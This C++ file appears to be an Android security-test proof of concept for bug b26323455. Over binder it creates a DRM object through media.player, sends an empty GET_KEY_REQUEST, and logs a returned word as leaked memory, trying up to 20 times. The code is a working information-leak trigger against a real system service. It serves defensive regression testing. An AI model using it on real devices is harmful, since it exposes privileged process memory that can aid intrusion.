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78 lines
2.3 KiB
78 lines
2.3 KiB
/**
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* Copyright (C) 2018 The Android Open Source Project
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*
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* Licensed under the Apache License, Version 2.0 (the "License");
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* you may not use this file except in compliance with the License.
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* You may obtain a copy of the License at
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*
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* http://www.apache.org/licenses/LICENSE-2.0
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*
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* Unless required by applicable law or agreed to in writing, software
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* distributed under the License is distributed on an "AS IS" BASIS,
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* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
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* See the License for the specific language governing permissions and
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* limitations under the License.
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*/
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#include <android/log.h>
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#include <arpa/inet.h>
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#include <binder/IServiceManager.h>
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#include <binder/Parcel.h>
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#include <binder/ProcessState.h>
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#include <binder/TextOutput.h>
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#include <drm/DrmConstraints.h>
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#include <drm/DrmConvertedStatus.h>
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#include <drm/DrmInfo.h>
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#include <drm/DrmInfoRequest.h>
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#include <drm/DrmInfoStatus.h>
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#include <drm/DrmMetadata.h>
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#include <drm/DrmRights.h>
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#include <drm/DrmSupportInfo.h>
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#include <fcntl.h>
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#include <media/IMediaPlayer.h>
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#include <media/IMediaPlayerClient.h>
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#include <media/IMediaPlayerService.h>
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#include <sys/stat.h>
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#include <sys/types.h>
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#include <sys/wait.h>
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using namespace android;
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int INFO_LEAK_BUFFER_SIZE = 256;
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int doInforLeakTest() {
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sp<IServiceManager> sm = defaultServiceManager();
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sp<IBinder> mediaPlayerSevice = sm->checkService(String16("media.player"));
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sp<IMediaPlayerService> iMediaPlayerService =
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IMediaPlayerService::asInterface(mediaPlayerSevice);
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Parcel data, reply;
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data.writeInterfaceToken(iMediaPlayerService->getInterfaceDescriptor());
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IMediaPlayerService::asBinder(iMediaPlayerService)
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->transact(2 /*MAKE_DRM*/, data, &reply); //MAKE_DRM : 2 (N & O branch), 6 (M Branch)
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sp<IBinder> iDrm(reply.readStrongBinder());
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Parcel data2, reply2;
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data2.writeInterfaceToken(iDrm->getInterfaceDescriptor());
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iDrm->transact(7 /*GET_KEY_REQUEST*/, data2, &reply2);
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reply2.readInt32();
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reply2.readInt32();
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unsigned int leaked = reply2.readInt32();
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ALOGE("leaked data: 0x%08x", leaked);
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return (leaked == 0 ? 0 : 1);
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}
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int main(void) {
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int leaked = 0;
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for (int i = 0; i < 20; i++) {
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leaked = doInforLeakTest();
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if (leaked) {
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ALOGE("IOMX_InfoLeak b26323455");
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break;
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}
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}
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return 0;
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}
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